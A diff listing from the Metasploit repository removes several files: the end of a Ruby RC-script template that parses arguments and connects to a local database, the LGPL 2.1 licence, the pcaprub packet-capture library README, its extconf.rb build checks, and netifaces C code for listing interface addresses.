msg = %Q|
Description:
Let's describe what this RC script is all about, plus anything the user should know before
actually using it.
Usage:
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
Options:
<rc file> - I'm sure you already know
<db_user> - Username for the database (datastore: 'DB_USER')
<db_pass> - Password for the database (datastore: 'DB_PASS')
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
<arg1> - Argument 1 (datastore: 'ARG1')
Authors:
sinn3r <sinn3r[at]metasploit.com>
|
msg = msg.gsub(/^\t/, '')
print_line(msg)
end
#
# See if we're already connected
#
def is_db_active?
begin
framework.db.hosts
return true
rescue ::ActiveRecord::ConnectionNotEstablished
return false
end
end
#
# Initialize the database.
# Default to localhost:5432, as this is the default configuration suggested by the manual.
#
def init_db(username, password, workspace)
db = "localhost:5432"
print_status("Opening #{workspace} at #{db}")
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
end
#
# Initialize the argumets here
#
def init_args
args = {}
joint = ARGV.join('')
if joint =~ /^help$/i
args[:help] = true
return args
end
# Add more arguments according to your help() function
datastore = framework.datastore
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
if not is_db_active?
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
end
end
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
return args
end
#
# This is your main function
#
def main(args)
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
end
#
# Below initializes the arguments and database
#
begin
args = init_args
if args[:help]
help
return
end
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
main(args)
rescue ArgumentError => e
print_error("Bad argument(s): #{e.message}")
return
rescue RuntimeError => e
# Any runtime error should be raised as "RuntimeError"
print_error(e.message)
return
rescue ::Exception => e
# Whatever unknown exception occurs, we raise it
raise e
end
</ruby>

View File

@ -1,459 +0,0 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS

View File

@ -1,43 +0,0 @@
This goal of this project is to provide a consistent interface to LBL's libpcap
packet capture library. This project was created because the currently
available ruby-pcap library is poorly designed and has been unmaintained since
2000. This does not provide packet processing functionality, it simply provides
the interface for capturing packets. For packet processing capability, see the
PacketRub project (http://packetrub.rubyforge.org).
Requirements:
libpcap - http://www.tcpdump.org
Build & Install:
ruby extconf.rb && make && make install
The latest version can be obtained from Subversion:
svn checkout http://pcaprub.rubyforge.org/svn/trunk/
The Metasploit Project also provides a Subversion repository:
svn checkout http://metasploit.com/svn/framework3/trunk/external/pcaprub/
The Metasploit Project also added some code from the python netifaces c extension
Original c/python netifaces code is under MIT-style license.
Here goes:
Copyright (c) 2007, 2008 Alastair Houghton
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -1,117 +0,0 @@
require 'mkmf'
puts("platform is #{RUBY_PLATFORM}")
########################
# Netifaces
########################
puts "\n[*] Running checks for netifaces code added by metasploit project"
puts "-----------------------------------------------------------------"
#uncoment to force ioctl on non windows systems
#@force_ioctl = true
@supported_archs = [ "i386-mingw32", "i486-linux", "x86_64-linux",
"universal-darwin10.0", "i386-openbsd4.8", "i386-freebsd8",
"arm-linux-eabi" ]
#arm-linux-eabi tested on maemo5 / N900
puts "[*] Warning : this platform as not been tested" unless @supported_archs.include? RUBY_PLATFORM
if RUBY_PLATFORM =~ /i386-mingw32/
unless have_library("ws2_32" ) and
have_library("iphlpapi") and
have_header("windows.h") and
have_header("winsock2.h") and
have_header("iphlpapi.h")
puts "\nNot all dependencies are satisfied, please check logs"
exit
end
else
headers = ['net/if_dl.h', 'netash/ash.h','netatalk/at.h', 'netax25/ax25.h',
'neteconet/ec.h', 'netipx/ipx.h','netpacket/packet.h', 'netrose/rose.h']
if RUBY_PLATFORM =~ /linux/
headers += [ 'linux/irda.h', 'linux/atm.h',
'linux/llc.h', 'linux/tipc.h',
'linux/dn.h']
end
additionnal_headers = ["sys/types.h","sys/socket.h","sys/un.h","net/if.h","netinet/in.h"]
optional_headers = []
sockaddrs = [ 'at', 'ax25', 'dl', 'eon', 'in', 'in6',
'inarp', 'ipx', 'iso', 'ns', 'un', 'x25',
'rose', 'ash', 'ec', 'll', 'atmpvc', 'atmsvc',
'dn', 'irda', 'llc']
# 1) Check for getifaddrs
unless @force_ioctl
need_ioctl = !(have_func("getifaddrs"))
end
# 2) Check for getnameinfo or redefine it in netifaces.c
have_func("getnameinfo")
# 3) Whitout getifaddrs we'll have to deal with ioctls
if need_ioctl or @force_ioctl
ioctls = [
'SIOCGIFCONF','SIOCGSIZIFCONF','SIOCGIFHWADDR','SIOCGIFADDR','SIOCGIFFLAGS','SIOCGIFDSTADDR',
'SIOCGIFBRDADDR','SIOCGIFNETMASK','SIOCGLIFNUM','SIOCGLIFCONF','SIOCGLIFFLAGS']
ioctls_headers = ['sys/types.h','sys/socket.h','sys/ioctl.h','net/if.h','netinet/in.h','arpa/inet.h']
#TODO Test this on sunos
#if RUBY_PLATFORM =~ /sunos/
# ioctls_headers += ['unistd.h','stropts.h','sys/sockio.h']
#end
$defs.push '-DHAVE_SOCKET_IOCTLS'
ioctls.each do |ioctl|
if have_macro(ioctl, ioctls_headers)
$defs.push "-DHAVE_#{ioctl}"
end
end
end
# 4) Check for optionnal headers
headers.each do |header|
if have_header(header)
optional_headers.push(header)
end
end
# 5) On certain platforms (Linux), there's no sa_len.
# Unfortunately, getifaddrs() doesn't return the
# lengths, because they're in the sa_len field on just about
# everything but Linux.
# In this case we will define a macro that will return the sa_len from
# the sockaddr_xx structure if they are available
if (!have_struct_member("struct sockaddr", "sa_len", ["sys/types.h","sys/socket.h","net/if.h"]))
sockaddrs.each do |sockaddr|
have_type("struct sockaddr_" + sockaddr, additionnal_headers + optional_headers)
end
end
end
#rework the defs to make them compatible with the original netifaces.c code
$defs = $defs.map do |a|
if a =~ /^-DHAVE_TYPE_STRUCT_SOCKADDR_.*$/ then a.gsub("TYPE_STRUCT_","")
elsif a == "-DHAVE_ST_SA_LEN" then a.gsub("HAVE_ST_","HAVE_SOCKADDR_")
else a
end
end
########################
# Pcap
########################
puts "\n[*] Running checks for pcap code..."
puts "-----------------------------------"
if /i386-mingw32/ =~ RUBY_PLATFORM
dir_config("pcap","C:/WpdPack/include","C:/WpdPack/lib")
have_library("wpcap", "pcap_open_live")
have_library("wpcap", "pcap_setnonblock")
else
have_library("pcap", "pcap_open_live")
have_library("pcap", "pcap_setnonblock")
end
if ( RUBY_VERSION =~ /^1\.9/ )
$CFLAGS += " -DRUBY_19"
end
create_makefile("pcaprub")

View File

@ -1,816 +0,0 @@
#include "ruby.h"
#ifndef RUBY_19
#include "rubysig.h"
#endif
#include "netifaces.h"
#if !defined(WIN32)
#if !HAVE_GETNAMEINFO
#undef getnameinfo
#undef NI_NUMERICHOST
#define getnameinfo our_getnameinfo
#define NI_NUMERICHOST 1
/* A very simple getnameinfo() for platforms without */
static int
getnameinfo (const struct sockaddr *addr, int addr_len,
char *buffer, int buflen,
char *buf2, int buf2len,
int flags)
{
switch (addr->sa_family)
{
case AF_INET:
{
const struct sockaddr_in *sin = (struct sockaddr_in *)addr;
const unsigned char *bytes = (unsigned char *)&sin->sin_addr.s_addr;
char tmpbuf[20];
sprintf (tmpbuf, "%d.%d.%d.%d",
bytes[0], bytes[1], bytes[2], bytes[3]);
strncpy (buffer, tmpbuf, buflen);
}
break;
#ifdef AF_INET6
case AF_INET6:
{
const struct sockaddr_in6 *sin = (const struct sockaddr_in6 *)addr;
const unsigned char *bytes = sin->sin6_addr.s6_addr;
int n;
char tmpbuf[80], *ptr = tmpbuf;
int done_double_colon = FALSE;
int colon_mode = FALSE;
for (n = 0; n < 8; ++n)
{
unsigned char b1 = bytes[2 * n];
unsigned char b2 = bytes[2 * n + 1];
if (b1)
{
if (colon_mode)
{
colon_mode = FALSE;
*ptr++ = ':';
}
sprintf (ptr, "%x%02x", b1, b2);
ptr += strlen (ptr);
*ptr++ = ':';
}
else if (b2)
{
if (colon_mode)
{
colon_mode = FALSE;
*ptr++ = ':';
}
sprintf (ptr, "%x", b2);
ptr += strlen (ptr);
*ptr++ = ':';
}
else {
if (!colon_mode)
{
if (done_double_colon)
{
*ptr++ = '0';
*ptr++ = ':';
}
else
{
if (n == 0)
*ptr++ = ':';
colon_mode = TRUE;
done_double_colon = TRUE;
}
}
}
}
if (colon_mode)
{
colon_mode = FALSE;
*ptr++ = ':';
*ptr++ = '\0';
}
else
{
*--ptr = '\0';
}
strncpy (buffer, tmpbuf, buflen);
}
break;
#endif /* AF_INET6 */
default:
return -1;
}
return 0;
}
#endif
static int
string_from_sockaddr (struct sockaddr *addr,
char *buffer,
int buflen)
{
if (!addr || addr->sa_family == AF_UNSPEC)
return -1;
if (getnameinfo (addr, SA_LEN(addr),
buffer, buflen,
NULL, 0,
NI_NUMERICHOST) != 0)
{
int n, len;
char *ptr;
const char *data;
len = SA_LEN(addr);
#if HAVE_AF_LINK
/* BSD-like systems have AF_LINK */
if (addr->sa_family == AF_LINK)
{
struct sockaddr_dl *dladdr = (struct sockaddr_dl *)addr;
len = dladdr->sdl_alen;
if(len >=0)
data = LLADDR(dladdr);
}
else
{
#endif
#if defined(AF_PACKET)
/* Linux has AF_PACKET instead */
if (addr->sa_family == AF_PACKET)
{
struct sockaddr_ll *lladdr = (struct sockaddr_ll *)addr;
len = lladdr->sll_halen;
//amaloteaux: openbsd and maybe other systems have a len of 0 for enc0,pflog0 .. interfaces
if(len >=0)
data = (const char *)lladdr->sll_addr;
}
else
{
#endif
/* We don't know anything about this sockaddr, so just display
the entire data area in binary. */
len -= (sizeof (struct sockaddr) - sizeof (addr->sa_data));
data = addr->sa_data;
#if defined(AF_PACKET)
}
#endif
#if HAVE_AF_LINK
}
#endif
if ((buflen < 3 * len) || len <= 0)
return -1;
ptr = buffer;
buffer[0] = '\0';
for (n = 0; n < len; ++n)
{
sprintf (ptr, "%02x:", data[n] & 0xff);
ptr += 3;
}
*--ptr = '\0';
}
return 0;
}
#endif /* !defined(WIN32) */
static VALUE add_to_family(VALUE result, VALUE family, VALUE value)
{
Check_Type(result, T_HASH);
Check_Type(family, T_FIXNUM);
Check_Type(value, T_HASH);
VALUE list;
list = rb_hash_aref(result, family);
if (list == Qnil)
list = rb_ary_new();
else
Check_Type(list, T_ARRAY);
rb_ary_push(list, value);
rb_hash_aset(result, family, list);
return result;
}
VALUE
rbnetifaces_s_addresses (VALUE class, VALUE dev)
{
Check_Type(dev, T_STRING);
VALUE result;
int found = FALSE;
result = rb_hash_new();
#if defined(WIN32)
PIP_ADAPTER_INFO pAdapterInfo = NULL;
PIP_ADAPTER_INFO pInfo = NULL;
ULONG ulBufferLength = 0;
DWORD dwRet;
PIP_ADDR_STRING str;
//First, retrieve the adapter information. We do this in a loop, in
//case someone adds or removes adapters in the meantime.
do
{
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
if (dwRet == ERROR_BUFFER_OVERFLOW)
{
if (pAdapterInfo)
free (pAdapterInfo);
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
if (!pAdapterInfo)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
return Qnil;
}
}
} while (dwRet == ERROR_BUFFER_OVERFLOW);
// If we failed, then fail in Ruby too
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
{
if (pAdapterInfo)
free (pAdapterInfo);
rb_raise(rb_eRuntimeError, "Unable to obtain adapter information.");
return Qnil;
}
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
{
char buffer[256];
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
char cmpAdapterName[cmpAdapterNamelen];
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
int AdapterName_len = strlen(pInfo->AdapterName);
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
continue;
VALUE rbhardw = Qnil;
VALUE rbaddr = Qnil;
VALUE rbnetmask = Qnil;
VALUE rbbraddr = Qnil;
found = TRUE;
// Do the physical address
if (256 >= 3 * pInfo->AddressLength)
{
VALUE hash_hardw;
hash_hardw = rb_hash_new();
char *ptr = buffer;
unsigned n;
*ptr = '\0';
for (n = 0; n < pInfo->AddressLength; ++n)
{
sprintf (ptr, "%02x:", pInfo->Address[n] & 0xff);
ptr += 3;
}
*--ptr = '\0';
rbhardw = rb_str_new2(buffer);
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
}
for (str = &pInfo->IpAddressList; str; str = str->Next)
{
VALUE result2;
result2 = rb_hash_new();
if(str->IpAddress.String)
rbaddr = rb_str_new2(str->IpAddress.String);
if(str->IpMask.String)
rbnetmask = rb_str_new2(str->IpMask.String);
//If this isn't the loopback interface, work out the broadcast
//address, for better compatibility with other platforms.
if (pInfo->Type != MIB_IF_TYPE_LOOPBACK)
{
unsigned long inaddr = inet_addr (str->IpAddress.String);
unsigned long inmask = inet_addr (str->IpMask.String);
struct in_addr in;
char *brstr;
in.S_un.S_addr = (inaddr | ~inmask) & 0xfffffffful;
brstr = inet_ntoa (in);
if (brstr)
rbbraddr = rb_str_new2(brstr);
}
if (rbaddr)
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
if (rbnetmask)
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
if (rbbraddr)
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
result = add_to_family(result, INT2FIX(AF_INET), result2);
}
} // for
free (pAdapterInfo);
#elif HAVE_GETIFADDRS
struct ifaddrs *addrs = NULL;
struct ifaddrs *addr = NULL;
if (getifaddrs (&addrs) < 0)
{
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
}
for (addr = addrs; addr; addr = addr->ifa_next)
{
char buffer[256];
VALUE rbaddr = Qnil;
VALUE rbnetmask = Qnil;
